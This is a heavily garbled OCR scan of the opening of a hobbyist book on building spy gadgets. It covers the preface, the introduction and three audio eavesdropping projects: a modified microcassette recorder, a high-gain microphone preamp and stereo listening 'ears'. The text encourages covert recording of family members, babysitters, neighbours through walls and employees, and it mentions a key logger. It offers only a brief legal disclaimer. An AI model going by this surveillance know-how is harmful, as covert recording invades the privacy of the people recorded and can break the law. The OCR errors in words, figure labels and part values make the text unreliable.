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Preface 


UJhat? 

Remember  the  character  “Q”  from  those  Jame* 
Bond  movies?  He  was  the  ecceoiric  invemor  who 
aJways  invented  unbelievably  small  spy  cameras, 
super  sensitive  bug  pens,  even  glasses  that  lei  you 
see  everything  behind  you!  What  if  1 told  you  that 
not  only  can  you  acquire  this  type  of  technology, 
but  you  can  build  it  yourself!  Not  only  can  you 
build  these  devices  and  many  more,  but  you  can  do 
it  inexpensively  and  without  having  a degree  in 
covert  spy  electronics! 

In  10  J Spy  Gadgets /or  the  Evil  Genius,  you  will 
leum  to  put  u sensitive  miniature  color  video 
camera  and  transmitter  into  a box  only  slightly 
larger  than  a box  of  matches — yes  a fully 
functional  spy  TV  station  in  a 2>inch  box. 
complete  with  batteries!  Sounds  high  tech? — It  isf 
How  about  a super  stealthy  microphone  that  you 
can  point  at  a target  hundreds  of  feet  away  and 
hear  every  whi.vper?  A sce*in-(heKlnrk  telescope 
that  con  record  images  onto  your  VCR.  a teddy 
bear  that  watches  the  babysitter?  Yes,  not  only  are 
these  devices  going  to  be  in  your  hands,  but  they 
can  be  put  together  in  only  a few  hours  using 
off-the-shelf  parts. 

Thanks  to  the  abundant  availability  of  small 
inexpensive  security  eleetronics,  making  your  own 
spy  arsenal  is  a snap.  Did  you  know  a small  black 
and  white  video  camera  with  almost  see-in-the* 
dark  capabilities  can  be  purchased  for  under  S20 
hom  many  ooilne  sources?  Build  your  own 
two-mile  range  video  transmitter  for  a few  dollart> 
in  parts  and  connect  that  to  your  camera,  and  you 
DOW  have  a stealthy  night  vision  transmitter  that 
easily  compares  to  professional  units  costing 
thousands  of  dollars  only  a few  years  ago. 


Not  cmly  will  10]  Spy  Gadgets  for  the  Evil 
Genius  show  ihe  reader  how  to  hack  together 
some  very  amazing  covert  ^y  gadgets,  but  it  will 
also  contain  easy-to-follow  instructions,  even  for 
most  beginners  into  the  realm  of  ^information 
gathering"  and  '‘covert  sleuthing."  For  the  young 
spy  still  living  under  the  shadow  of  "big  brother" 

(I  mean  that  literally),  we  have  the  bedroom  door 
snoop — a device  that  triggers  an  Inexpensive 
digital  camera  when  unwanted  visitors  enter  a 
room.  How  about  the  dresser  drawer  alarm,  or  the 
telephone  eavesdroping  alen  li^t?  So  many  great 
gadgets  to  keep  the  older  brother  at  bay! 

In  WJ  Spy  Gadgets  for  the  Evil  Genius  no  leaf 
is  left  unturned— if  it  has  wires,  this  book  will 
show  you  how  to  hack  it,  turning  seemingly 
ordinary  household  apliances  into  devices  that 
even  007  himself  would  appreciate.  Just  check  out 
the  manifesto! 


LUhy? 

I think  agent  Mulder  from  the  show  ^The  X-FiJe$" 
said  it  best;  “trust  no  one,**  and  *1he  truth  is  out 
there."  If  the  truth  is  really  out  there,  then  the 
devices  presented  in  this  book  will  help  you  dig 
it  out,  and  soon  you  will  know  who  you  can 
trust — with  a little  help  from  our  stealthy  spy 
gadgets!  Security  is  one  of  the  largest  industries 
in  the  world  today — with  everything  from  theft 
pevention  to  high  stakes  corporate  espionage  in 
the  hit  list,  and  knowing  how  to  get  at  the  truth  is 
a valuable  asset  indeed. 

Having  worked  in  the  security  held  myself.  1 
know  how  valuable  these  spy  gadgets  can  be,  and 
having  the  ability  to  produce  them  yourself 
upgrades  you  from  Cadet  to  Colonel  pretty  fast) 
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Undl  now,  most  of  the  high-tech  “know  hows”  of 
Che  spy  industry  have  been  kept  as  secret  as  the 
infonnation  that  they  attempt  to  dig  out.  Of  course, 
why  would  the  companies  producing  these  gadgets 
want  you  to  build  your  own? 

A quick  search  on  the  Lniemei  for  “hidden 
cameras”  will  bring  up  a great  list  of  companies, 
each  with  their  very  own  version  of  a steaJlh  video 
camera.  A fire  detector,  a clock  radio,  a hat,  even 
a pair  of  sunglasses  with  a camera  hphind  the 
lens — ail  with  a hefty  price  lag  to  boot,  but  I will 
soon  show  you  bow  to  make  a device  comparable 
to  the  very  best  unit  available  for  a tenth  the  price! 

This  book  will  Rl]  a gap  that  has  beett  open  for 
far  too  long. 

Holu? 

Using  easy-io-fmd  pans  that  will  not  crash  your 
budget.  iOi  Spy  Gadgets  J6r  the  Evil  Genius  will 


show  readers  step  by  step  bow  to  build  their  very 
own  spy  gadget  arsenal.  Even  the  young  Evil 
Genius  will  be  able  to  build  most  of  the  devices 
presented  tn  this  book,  and  the  hardened  techno 
nerd  will  a^redate  the  novel  ideas  and  cuoing 
edge  quality  of  the  higher  end  projects. 

No  age  group  or  skill  level  will  be  left  out  as  (he 
book  i^ogresses  through  heavily  image -laden 
instnjciions  written  in  down-ro-eanh.  clear  terms. 
No  project  will  leave  the  reader  wondering  “what 
next?'  as  each  idea  and  experiment  will  end  in  a 
fully  functional  device,  not  one  based  on  theory  or 
guesswork.  This  book  will  not  only  be  fun  for  the 
urban  hacker,  but  it  will  also  be  a valuable  guide  to 
those  that  may  pursue  security  and  investigation  as 
a career,  or  need  a new  way  to  “catch  the  bad  guy" 
in  their  immediate  future. 

Brad  Graham 
Kathy  McGowan 
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Section  One 


Introduction 


Rbout  this  Book 

This  book  contains  complete  plans  for  a wide 
variety  of  spy  gadgets,  ranging  trom  very  basic 
projects  to  advanced  projects  that  use  the  cutung 
edge  of  technology.  Although  each  plan  results  in  a 
working  project,  all  of  the  plans  in  this  book 
can  be  modified,  mixed  or  matched  to  create 
many  additional  useful  tools  that  can  be  used  in 
the  covert  acquisition  of '’secret"  infonnaiion.  The 
technology  is  presented  in  a way  that  allows  (he 
reader  to  build  the  projects  using  whatever  paru 
are  available,  and  although  the  plans  may  call  for 
an  exact  part  number,  most  of  the  technology  used 
can  be  substituted  for  similar  easy-io-lind  pam. 

Because  1 do  not  want  the  technological 
components  and  processes  presented  in  this  book 
to  become  dated  as  soon  as  parts  becortK  obsolete 
or  change,  1 try  to  explain  the  complete  process 
involved  in  "hacking"  some  of  the  electronic 
devices  so  that  the  knowledge  can  easily  be 
transferred  to  similar  or  future  versions  of  the 
device.  For  example,  the  information  presented  in 
hacking  the  infrared  motion  sensor  (see  Section  8) 
is  presented  in  such  a way  that  you  will  not  need 
to  search  for  the  identical  unit  that  1 used  in  my 
project.  If  an  exact  part  number  is  colled  for.  it  will 
most  likely  be  a very  common  and  well-known 
part,  such  as  a generic  NPN  transistor  or  relay,  and 
1 have  done  my  best  to  offer  alternative  ideas  and 
suggestions  along  the  way. 

It  is  a good  idea  to  work  through  the  entire  book 
at  least  once,  even  if  you  are  just  interested  to  a 
single  project  becau.se  many  of  the  ideas  and 
technologies  presented  here  can  be  mixed  and 
matched  to  create  more  advanced  projects  or 


radically  oew  devices.  If  you  mix  the  motion 
controlled  digital  camera  with  the  LED  infrared 
ilium inaior.  for  example,  you  now  have  an 
automated  high  Tesolution  sec*in-the-dark  image 
capture  system  (bat  only  takes  pictures  when  the 
scene  is  changing.  The  abilliy  to  adapt  my  projects 
to  your  own  needs  is  essential,  as  your  target 
infonnaiion  may  be  much  different  ^om  mine, 
and  many  of  the  coven  devices  such  as  the  hidden 
spy  corns  must  be  adapted  to  blend  into  their 
environmem.s.  With  the  information  presented  in 
the  mini  spy  cam  sections,  you  will  be  able  to 
place  a covert  video  camera  anywhere  you  desire. 

The  complexity  of  the  projects  presented  here 
ranges  from  basic  elecirical  using  basic  wires  and 
switches,  to  complete  custom  programmed 
microcontrollers  and  laser  technology.  If  you  have 
never  twisted  a wire  together  in  your  life,  then  take 
your  time,  read  (he  entire  book  and  search  the 
Internet  for  other  working  exantples.  Anyone  can 
leam  to  understand  electronics  with  the  right 
motivaiimi. 

A simple  device  such  as  a basic  motion* 
triggered  alarm  should  ool  be  dismissed  due  to  its 
simplicity,  as  it  may  be  all  (hat  your  coven 
operation  calls  for  at  the  time.  Although  it  may 
certainly  be  more  entertaining  to  use  a video 
guided,  night  vision  equipped  robot  to  search  your 
yard  for  your  missing  watch,  sometimes  the  most 
advanced  tools  are  ju.st  not  needed  to  perform  basic 
operailons.  and  (hey  may  actually  reduce  your 
eflwtlveness. 

As  for  tools,  you  will  certainly  need  a soldering 
iron,  basic  \ol(/ohm  meter,  and  the  usual 
electronics  workbench  tools  for  general  electronic 
w<ak.  Depending  on  how  far  you  want  to  go  with 
your  modjficadoDs,  and  or  new  designs,  you  may 


Truth  is  Out 


also  want  an  oscilloscope,  as  this  will  make  the 
debugging  process  much  easier,  especially  when 
attempting  to  design  your  own  original  circuits. 
The  source  code  presented  for  the  key  logger 
project  in  Section  1 1 is  written  in  PicBasic  Pro 
for  the  PicMicro  16F628  microprocessor;  however, 
it  is  presented  in  a simple  format  that  can  easily 
be  ported  to  any  language  for  just  about  any 
microprocessor.  For  the  few  projects  that  may 
require  a microprocessor  to  be  programmed, 
or  require  a part  that  is  not  easily  available  in 
single  quantities,  partial  or  complete  kits  are 
available  at  Atomic  Zombie  Extreme  Machines 
<www.atomtczombie.com).  The  website  also 
contains  a forum  where  you  can  share  your 
designs,  modifications,  or  ideas  with  other  avid 
spy  device  enthusiasts  and  general  technology 
hackers  like  myself.  I always  enjoy  seeing  whai 
other  inventors  have  done  with  (he  information 
presented  in  our  books. 


The  Truth  Is  Out  There 

Q) 

That  nagging  feeling  deep  in  your  **gut'’  (hat 
(1)  someone  is  up  to  no  good,  or  that  crimes  have 
been  committed,  should  never  be  ignored.  What 
good  is  that  suspicion  without  any  physical  proof 
that  wrong-doing  has  occurred?  As  we  know  from 
watching  many  criminal  investigation  shows,  there 
is  no  petfect  crime,  and  the  only  thing  that 
separates  your  irutincts  from  the  actual  facts  are  a 
few  high-tech  tools  of  the  trade. 

Of  course,  a high-tech  “spy”  needs  a briefcase 
full  of  information  gathering  goodies.  If  you  plan 
to  dig  for  the  truth,  or  covertly  intercept  the  data 
before  it’s  too  late,  (hen  you  need  the  proper  tools 
for  the  trade — ultrasensitive  long-range  listening 
devices  for  those  distant  conversatioDs.  see-in-lbe- 
dork  night  vision  binoculars,  even  a small  robot  to 
^ enter  a hostile  environment  much  loo  dangerous  to 
^ you  or  your  team.  With  the  proper  tools,  you  will 
^ rind  the  information  you  desire. 


“The  Truth  is  Out  There”  is  a phrase  that  cakes 
on  cwo  meanings  for  me.  Hrsi,  it  means  that  the 
answers  to  your  quesdtms  are  always  present,  as 
long  as  you  know  how  or  where  to  look.  Second,  it 
indicates  that  the  actual  truth  might  be  truly  “out 
there.”  as  in  totally  unexpected  or  radically 
different  than  vs'hac  you  mi^i  have  expected. 
Digging  (or  one  fact  may  uncover  a treasure  trove 
of  other  facts  or  answers  you  never  even  expected. 
You  may  install  a hidden  camera  to  rind  out  who 
has  been  vandalizing  a car,  and  uncover  a totally 
new  crime,  or  you  may  be  reading  the  key  logger 
rile  (see  Section  1 1)  of  an  employee  and  discover 
that  your  company's  sensitive  research  and 
develc^Hnent  information  has  been  transmitted  to 
competitors  without  your  company's  consent  or 
knowledge.  If  you  dig  deep  enough,  you  are  bound 
to  find  a few  skeletons,  so  be  prepared. 

As  well  as  being  *‘Out  There,”  the  cnith  is  most 
certainly  also  “In  There.”  especially  concerning 
computers,  answering  machines,  recorded  video,  or 
any  other  device  that  requires  some  creative 
“hacking”  in  order  to  extract  the  required 
infonnation.  Almost  every  electronic  device  that 
stores  information  can  leave  behind  unwanted 
traces  of  past  data,  or  emit  some  spurious  electrical 
signal  that  can  be  used  to  eavesdrop  on  the 
comems.  Even  the  most  secure  electronic  device  is 
only  as  good  as  ils  weakest  link,  usually  the 
optmoT.  Most  consumer  grade  devices  are  so  easy 
to  hack  that  it  almost  feels  un-sponsman  like  when 
you  win,  especially  home  computer  systems.  If,  in 
the  extremely  rare  event  that  the  user  has  taken 
precautions  to  protect  his  or  her  secret  plans  from 
you.  a simple  device  such  as  a key  logger,  or 
passwonl  cracking  utility  might  be  all  that  you 
need  to  “massage”  that  information  out  of  the 
machine.  The  fact  is.  given  enough  motive,  lime, 
or  money,  any  tedmology  can  be  compromised, 
but  most  of  the  time  motive  and  a linle  bit  of 
unconunoo  knowledge  axe  all  that  you  need  to 
uncover  the  truth. 

Before  using  any  of  your  gadgets  to  “spy”  on 
anyone  with  or  without  their  consent,  it  is  your 
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f responsibility  to  understand  and  fo!low  your  local, 
state,  provincial,  and  federal  laws  on  various 
surveillance  practices.  If  you  are  uusure  regarding 
(he  legality  of  your  ‘'spy'*  activities,  consult  ao 
attorney.  Of  course,  only  use  your  gadgets  in  a 
lawful  manner,  and  respect  others'  privacy. 


I hope  ihai  JOl  Spy  Gadgeufor  the  Evil  Genius 
will  help  you  expand  your  knowledge  about  many 
different  types  of  technology,  and  bow  you  can 
modify  these  technolo^cal  principles  for  your  own 
amusement  and  enjoyment 

Brad  Graham 
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The  Truth  is  Out  There 


Section  Two 

Audio  Eavesdropping 
and  Recording 


Praject  1 — Microrecorder  Hacking 


When  you  ore  working  with  audio  in  a coven 
manner,  nothing  beau  a trusty  old  microcassetie 
recorder.  These  pockei-sized  devices  consume 
very  little  power,  store  many  hours  of  audio 
information,  and  can  be  easily  concealed  inside 
tight  spaces  or  on  the  body.  There  are.  however,  a 
few  small  drawbacks  to  these  devices,  specifically 
the  placement  of  the  internal  micrc^one  and  the 
record/pause  button,  but  there  is  no  need  to  worry; 
as  a true  evil  genius  knows,  every  device  can  be 
hacked  to  better  suit  our  missions.  On  many 
microrecorders.  the  microphone  and  audio  preamp 
circuitry  are  very  well  suited  for  catching  both 
closerange  conversation,  as  well  as  distant  sound. 
But  unless  you  can  expose  (he  top  of  the  unit 
towards  the  sound  source,  you  may  only  record  a 
muffled  unusable  sound,  as  the  microphone  will 
not  work  very  well  when  obstructed.  The  other 
problem  we  must  address  in  order  to  make  life 
with  the  microrecorder  more  tolerable  is  the  ability 
to  start  and  stop  the  recording  function  without 
making  it  obvious  that  we  are  doing  so.  as  this 
would  certainly  expose  us  for  the  spies  we  are. 

In  order  to  address  the  two  problems  with  the 
microrecorder,  we  will  have  to  add  a switch 
between  the  record  motor  and  its  power  source  so 
it  can  be  controlled  remotely,  and  relocate  the 
microphone  from  the  inside  of  the  unit  to  an 
extension  cable  for  more  covert  placement.  Your 
unit  may  already  have  a jack  labeled  REM  or 


remote,  and  a jack  for  an  external  microphone,  so 
you  can  skip  the  next  few  steps  that  deal  with 
opening  the  unit,  as  you  will  only  need  the 
cabling  and  the  appropriate  male  connectors  to 
complete  this  ^Ject.  Figure  20  shows  a typical 
microcasseite  recorder  with  the  case  opened  up  in 
order  to  expose  (he  electronics  and  mechanical 


First,  identify  the  main  drive  motor— it  will  be  a 
small  cylindrical  silver-  or  gold-colored  metal  can 
with  a small  pulley  or  gear  attached  to  a central 
shafi.  Do  not  worry  if  you  cannot  fully  access  the 
motor,  as  we  cmly  need  to  cut  one  of  die  wires 
(there  will  be  two)  that  connect  to  the  unit.  By 
connecting  a switch  between  either  of  the  motor's 
power  leads,  we  can  set  the  recorder  to  record  by 


Route  3-I  A Ux)k  inside  the  micTocassetie  recorder. 
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Project  1— Microrecorder 


poweruig  it  on  and  pres!>mg  the  record  and  play 
butiODS.  yet  muintuin  complete  control  over  this 
function  by  simply  toggling  the  switch  to  sian  and 
stop  the  motor.  Cootrolling  the  record  hmction  in 
this  manner  ensures  on  instant  start  of  the  unit,  and 
does  not  ret|uire  fiddling  around  with  the  push 
buttons  on  the  actual  recorder,  which  could 
become  obvious  in  a crowded  environment.  The 
new  switch  could  be  simple  as  an  on/otT  switch 
placed  on  a wire  into  your  pocket,  or  as  elaborate 
as  a till  sensing  mercury  switch  placed  in  your 
shoe  for  a mily  covert  start  and  stop  of  the 
recording  function. 

For  now.  we  will  be  focusing  on  installing  the 
cord  10  connect  the  remoic  switch  lo  the  unit,  so 
choo.se  one  of  the  motor  power  wires,  and  cut  it 
^ wherever  it  is  most  convenient.  The  be.si  place  lo 
0 cut  ihc  motor  wire  is  us  close  as  pas,sible  lo  your 
'H  intended  installation  of  the  wire  through  ihe 
M microrccorder's  casing  .sirKC  there  really  is  not  a 
0 lot  of  room  inside  the  compact  unit  to  work  with. 

^ The  cable  installation  for  both  the  motor  switch 
^ and  the  microphone  extension  should  nor  interfere 
with  any  of  the  moving  pojis.  especially  the  drive 
bell  when  the  cabinet  is  closed,  so  choose  your 
insiallaiion  locution  carefully  (Figure  2-2). 


Fi  g Lire  2-3  ExKnsion  cables  inssatled  at  appropriaie 
locations. 


I chose  to  drill  a small  hole  ihiough  the  side  of 
the  recorder's  casing  in  (he  general  area  of  ihe 
motor,  so  that  miDunal  wire  would  need  lo  be 
installed.  The  wire  I chose  was  salvaged  from  a 
dead  pair  of  headphones  as  it  had  two  conductors, 
and  a male  plug  already  installed  at  one  end  so  I 
could  use  an  assonment  of  trigger  switches  if  1 
wanted  to.  A cable  with  a length  of  3 to  4 feet 
should  be  good  for  most  covert  operations 
including  body  mounting  with  the  trigger  switch 
wire  running  through  the  operator's  clothing.  At 
this  point,  you  should  also  identify  the  location  of 
the  built'in  microphone  if  you  plan  lo  extend  it 
fivm  the  case  as  well.  The  microphone  will  be 
easy  to  locate.  a.s  it  will  be  the  small  pill -si zed 
meial  cylinder  installed  jusi  under  the  unit's  case 
where  it  is  labeled  MIC  or  microphone.  There 
will  be  two  wires  connecting  the  microphone  to 
the  circuit  board  and.  unlike  the  motor,  the  colors 
and  polarity  of  the  two  wires  will  be  imponam,  a.< 
these  ''electrer  microphones  require  a small 
amount  of  power  to  q)eraic.  The  color  of  the 
wires  will  movl  likely  indicate  polarity,  with  led 
being  positive  and  black  or  green  being  ground. 
However,  if  you  are  not  sure,  cither  trace  one  of 
(he  wires  to  the  nearest  capacitor  lo  reveal 
polariiy  (capacitors  are  marked  on  the  negative 
side  of  the  can),  or  look  at  the  actual  microphone, 
The  negative  terminal  will  also  be  connected  to 
the  side  of  (he  microphone's  can  via  trace  or 
solder  spot.  Once  you  figure  out  the  polarity  of 
ihc  micrc^one  wires,  unsolder  them  from  the 
circuit  board  and  Install  a small  shielded  cable  in 
place  so  that  the  center  wire  (signal  wire) 
becomes  the  positive  microphone  connection,  and 
the  shield  becomes  the  grounded  connection. 
Again.  I chose  a cable  salvaged  from  a pair  of 
headphones  because  this  wire  was  small, 
shielded,  and  already  had  a male  plug  at  the  other 
end  so  that  the  microphone  could  be  replaced 
with  a preamp  or  some  other  audio  source  if 
necessary.  Figure  2-3  shows  the  microphone  and 
the  record  (rigger  switch  installed  directly  onto 
the  j inch  female  connectors  used  to  connect  each 
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2'3  The  record  switch  itrtd  micrvphcm 
mamtfd  Oft  connectors. 


^\cc  10  the  micrurccordcr.  Make  sure  lo  label 
^ ends  of  the  wires  if  usiag  ihe  same  cunncviors 
far  both. 


Wftta  both  the  record  switch  and  microphone 
insiaJled  remotely  from  the  micTorecofder,  the  unit 
is  now  much  more  funcUonaJ  for  use  in  covert 
nperaiions  requiring  the  unit  to  be  hidden  well  out 
of  view.  1 can  i>tan  and  sic^  rectmjing  instantly  by 
flipping  the  small  switch  back  and  forth  while  it  is 
hidden  in  a jacket  pocket,  and  the  audio  is  much 
clearer  with  the  micix^hcMte  mounted  in  a hat  or 
Lie  so  that  ii  faces  Ute  audio  source.  Using  the 
switch  to  toggle  power  to  the  cassette  motor  also 
saves  battery  power.  a.s  il  is  the  drive  motor  that 
uses  most  of  tbe  power  in  normal  operation.  This 
modified  nucrorecorder  can  now  be  installed  Just 
about  anywhere,  and  will  form  die  basis  of  the  last 
project  in  this  section — "Wiring  Your  Body  to 
Record  Audio.” 


Project  2 — Ultrahigh-Galn  Microphone  Preamp 


Not  all  devices  that  can  record  audio  has'c  buiU*in 
microphones,  and  even  on  those  that  do.  the  gain 
can  sometimes  be  less  than  impressive  when  ii 
comes  to  picking  up  faint  sounds  or  conversations 
in  a room  to  be  monitored.  The  little  black  box 
presented  in  this  section  will  turn  any  device 
capable  of  recording  an  audio  signal  into  a super 
hearing  device  that  can  amplify  a whi.sper  across  a 
room  into  a clear  audible  sound.  This  unit  cun  be 
connected  to  a tape  recorder,  digital  recorder, 
computer,  or  even  a VCR*$  audio  input  for  hours 
of  stealthy  recording  when  you  need  that  “on  Ihe 
spot”  solution  in  a hurry.  Because  the  amplifier  is 
so  sensitive  to  any  sound,  it  can  be  hidden  out 
of  view  without  a large  impact  on  performance. 
Connected  to  a standard  VCR  recording  on  a 
12'hour-long  tape,  this  setup  would  become  a very 
stealthy  audio  spy,  especially  if  the  preamplifier  is 
hidden  in  a not'SCK^ious  location,  such  as  behind 
the  television,  or  under  ihe  couch.  This  sound 
booster  may  also  work  with  the  micnorecorder  in 


the  last  section  if  it  is  installed  in  place  of  the 
original  microphone. 

The  hean  of  Ihc  circuit  as  .shown  in  Figure  2-4  is 
the  1^358  low-noise  c^)erBiional  amplifier  1C  set 
up  as  a high-gain  amplifier  with  adjustable  gain. 

This  amplifier  is  very  simple,  but  actually  includes 
(WO  stages  of  amplifications,  as  Ihe  elcctrci 
microFdHme  being  used  contains  its  own  high-gain 
amplifier  built  right  into  its  small  metal  can. 

The  variable  resistor  will  control  the  overall  gain  ^ 
of  (he  amplifier,  and  the  range  will  vary  from  "lots 
of  gain”  to  ‘'ridiculous  amounts  of  gain."  With  ihe  ^ 
variable  resisu^  set  for  full  gain,  the  recording  g 
device  should  able  to  pick  up  the  fainiost 
whisper  across  a room  as  long  as  the  noise  level  is 
not  so  great  that  i(  drowns  out  everything  in 
between.  The  amount  of  ambient  noise  in  die  room 
to  be  mooitored  is  really  the  deiermining  factor  in 
whai  gain  selling  to  use.  since  no  amount  of  gain 
will  extract  a clear  conversation  from  a room  full 
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Project  2“U1 tr ahigh -Gain  Microphone 


P r o j e c t 2— U Itrahigh^Gain  Microphone  Preamp 


of  loud  noises.  The  circuit  is  very  simple,  requiring 
a minimal  quantity  of  inexpensive  components, 
and  can  be  built  on  a small  square  piece  of 
perforated  (perf.)  board.  The  amplifier  will  nm  for 
many  hours  from  a single  9- volt  battery,  although 
any  DC  power  source  ranging  from  5 to  12  volts 
will  work.  If  you  plan  on  using  an  AC  adapter  to 


power  the  unit  make  sure  that  the  regulation  is 
very  clean,  or  you  will  hear  nothing  but  60-Hz 
hum  on  your  recoitled  audio-  Figure  2-5  shows  my 
completed  unit  in  two  flavors — on  the  left  built  on 
a small  square  of  perf.  board  for  installation  into  a 
small  box.  and  on  the  right  as  a very  compact 
covert  device  ready  tor  covert  insiaJlation  into  just 
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aboul  any  place  imaginable.  This  very  compact 
unit  is  made  by  soldering  the  legs  of  the 
component  directly  to  each  other  without  any 
circuit  board  at  ail.  This  produces  a very  small 
footprint  and  also  reduces  the  electrical  noise 
produced  by  such  a high*gain  circuit. 

Because  of  the  usefulness  of  ihis  device  in  the 
field,  when  a fast  solution  for  recording  audio  is 
necessary.  I built  the  uliracompaci  unit  as  well  as 
the  *'black  box’'  unit  shown  in  Figure  2-6.  The 
block  box  unit  allows  easy  connection  to  VCRs, 
computers,  audio  recorders,  and  even  transmitters 
when  you  have  to  find  a fast  recording  solution 
using  the  available  resources.  A j stereo  Jack  wired 
for  mono  operation  (left  and  right  conductors 
soldered  together)  is  installed  at  the  rear  of  the 
case  so  that  easy  connection  to  just  about  any 
audio  device  can  be  made  using  common  cable 
adapters.  Since  this  preamplifier  ol7ers  so  much 
gain,  you  will  have  to  experiment  with  the  gain, 
and  input  volume  (if  available)  on  your  recording 
device  to  make  sure  the  recorded  audio  is  usable. 
Too  much  gain  might  overload  the  built-in  preamp 
in  whatever  device  you  are  using  to  record,  and 


Figure  2'€  The  "biack  box"  vmion  of  tht 
mknj^totie  preamp. 


Because  it  is  very  easy  to  forget  the  unit  is 
operating,  my  black  box  version  of  the  device  also 
includes  an  UED  to  indicate  when  the  power  is  on. 
but  in  the  field  this  would  be  covered  by  a bit  of 
black  tape. 

When  you  are  experimenting  with  the 
preamplifier,  some  interesting  things  to  try 
include  pressing  the  unit  against  a wall  lo  hear 
conv*er3ations  in  the  next  room,  real-time 
recording  into  a computer  to  monitor  the 
wavefomi  of  faint  whispers  and  sounds,  or 
passing  the  unit  through  some  type  of  litter 
or  equalizer  to  block  out  unwanted  sounds  or 
ambient  noise.  If  listening  to  faint  sounds  or 


Figure  5-5 


The  prtamp  eon  be  buiU  tmobUef  peif.  boanL  or  wiih  no  ctreuts  board  tu  ait. 


w 


although  It  won’t  damage  the  unit,  you  will  end  up  conversations  is  your  game,  then  read  on.  as  the 


with  nothing  more  than  a rumbling  noise  on 


rtext  project  wilt  let  you  do  it  in  real  time,  and  in 


playback. 


stereo. 
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r ahi  gh  Gai  n Mi  c r ophone  P r e amp 


Project  3 — Bionic  Stereo  Spy  Ears 


Here  is  a simple  device  tbac  uses  a pair  of  common 
audio  ampliiier  ICs  and  two  mullimedia  elecEret 
microphones  to  give  your  hearing  a massive  boost. 
Because  this  uoii  has  two  separate  microphooe  and 
amplifier  cireuiis  (cme  for  each  ear),  the  resulting 
signal  is  in  true  stereo,  which  allows  the  ttstener  to 
not  only  hear  distant  faint  sounds,  but  to  deiennine 
direction  as  well.  This  project  is  similar  to  those 
''super  ear”  toys  that  look  like  portable  music 
players,  but  unlike  the  distorted,  barely  legible 
audio  that  they  produce,  this  project  can  output  a 
^ very  crisp,  clean,  high  level  of  audio  capable  of 
driving  headphones  and  audio  inputs  on  recording 
tQ  devices.  The  schematic  for  the  bionic  spy  ears 
M (shown  in  Figure  2-7)  is  remarkably  simple,  using 
only  a single  1C.  variable  resistor,  microphone,  and 
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c^>aciior  for  each  audio  cbaonel.  Tlie  LM386  is  a 
voy  common  1-watt  audio  amplifier  IC  used  in 
many  small  audio  ai^liances  such  as  multimedia 
speakers,  small  radios,  sound  cards,  and  telephone 
equi^ncm.  and  it  is  set  up  in  our  circuit  to  amplify 
tbe  audio  from  the  electrei  microphone's  imemal 
amplifier  with  a gain  of  200.  The  50-^rn  variable 
resistor  will  allow  you  to  tweak  the  voltage  level 
fed  to  the  electret  micrt^hone,  which  will  also 
control  the  volume  of  each  channel,  This  meihod  of 
volume  control  ensures  that  each  channel  can  be 
tuned  for  equal  amplification,  as  these  electrei 
microphones  can  vary  somewhat  even  though  they 
may  see  the  same  input  voltage.  If  you  salvage  your 
electret  micre^hones  from  various  circuit  boaids  as 
I do,  thtn  this  is  a great  way  to  balance  them  out. 
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Sckemaiic  of  the  bionic  sterro  spy  ears 
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FiQure  3*8  The  hioniv  stereo  spy  ears  ore  huili  into  a 
metal  cabinet. 

The  iwo  50  Q variable  resistors  should  be 
independent  uniu.  not  the  ganged  type  that  share  a 
common  shaft,  as  (his  will  defeat  the  ability  to  set 
(he  left  and  right  volumes  to  achieve  perfect 
balance,  and  this  will  throw  off  your  ability  to 
detect  the  direction  of  sound  If  you  are  using  the 
device  with  headphones.  The  best  type  of  electret 
microphone  to  use  for  this  project  Is  (he 
inexpensive  multimedia  type  (hot  is  commonly 
shipped  with  a low>end  pair  of  multimedia 
speakers  for  a sound  card.  This  type  of  microphone 
comes  with  an  adjustable  base  and  a bit  of  two- 
sided  tape.  $0  it  is  perfect  for  mounting  on  a small 
plastic  or  steel  project  box.  If  you  cannot  find 
these  types  of  electret  microphones,  you  could 
easily  hack  something  up  yourself  using  some 
flexible  gooseneck  tube,  or  something  similar,  as 
there  is  nothing  complex  about  these  multimedia 
microphones;  they  contain  nothing  more  than  a 
single  electret  element  at  the  end  of  the  wire.  As 
shown  in  Figure  2-S.  1 built  (his  dual  amplifier 
circuit  onto  a small  bit  of  perf  board  and  mounted 
the  works  into  a small  metal  cabinet  to  help  keep 
unwanted  noise  sources  such  as  60-Hz  hum  and 
Rf  from  various  appliances  out  of  the  amplifier 
section.  The  inside  of  the  cabinet  is  large  enough 
to  contain  the  circuit  board,  dual  pocentiomeiers. 
and  a 9*voh  battery,  and  there  was  ample  room  on 
the  outside  of  the  box  to  mount  both  multimedia 
microphones.  A power  switch  is  also 


recommended,  as  this  unit  will  use  more  power 
than  the  LM386  based  microphone  pieamp 
presented  earlier  in  (his  section.  The  LM386  is 
designed  to  directly  drive  a 1-wati  speaker,  and  us 
you  will  soon  find  out,  the  volume  must  be  set 
cautiously  to  avoid  blasting  your  ears  with  a 
barrage  of  loud  sound. 

Once  you  have  the  circuit  completed  and 
mounted  inside  your  container  of  choice,  set  both 
potentiometers  counterclockwise  to  drop  the 
voltage  to  each  microphone  dement  to  zero  then 
(lip  on  the  power  switch.  At  (his  point.  1 would  not 
recommend  placing  (be  headphone  on  your  ears 
just  in  case  the  leads  to  (he  potentiometers  were 
accidentally  soldered  in  reverse,  as  this  will  set  (he 
unit  to  full  volume.  I promise  you  that  this  unit  can  ^ 
become  way  loo  loud  in  a hurry  if  you  are  using  ^ 
headphones,  so  great  care  must  be  taken  in  order  (D 
to  set  (he  volume  low  enough  so  that  feedback  H 
between  the  micro^ne  and  headphones  does  0 
not  occur.  It  will  generate  a horriric  shrill  that  is  ^ 
extremely  unpleasant.  ^ 

As  I mentioned  earlier,  (his  unit  can  deliver  a ^ 
very  crisp,  loud  .signal  unlike  those  cheap  ‘‘spy 
ear"  toys,  and  it  does  this  by  not  clipping  the 
amplified  signal,  or  attempting  to  uuio  control  the  tQ 
output  to  a safer  level.  1 found  that  by  u.sing  a good  ^ 
set  of  headphones  that  would  cover  my  entire  ear  H 
while  holding  the  unit  in  my  hand.  I could  set  the  ^ 
potentiometers  to  about  one  quarter  turn  before 
feedback  would  occur.  The  distance  between  the 
microphone  and  the  headphones  a.s  well  as  the  type 
of  environment  (indoor  versus  outdoor)  would 
greatly  influence  how  loud  (he  volume  levels  could 
be  set  before  feedback  would  occur — indoors, 
feedback  would  occur  much  more  offen.  especially 
in  small  rooms.  Wbea  using  the  device  as  an  input 
into  another  recording  device,  feedback  is  not  an 
issue,  but  you  mu.si  still  be  careful  not  to  overload 
(he  input,  as  this  device  can  i^oduce  hundreds  of 
rimes  more  input  power  than  a simple  microphone. 
Always  start  at  the  lowest  setting,  and  work  your 
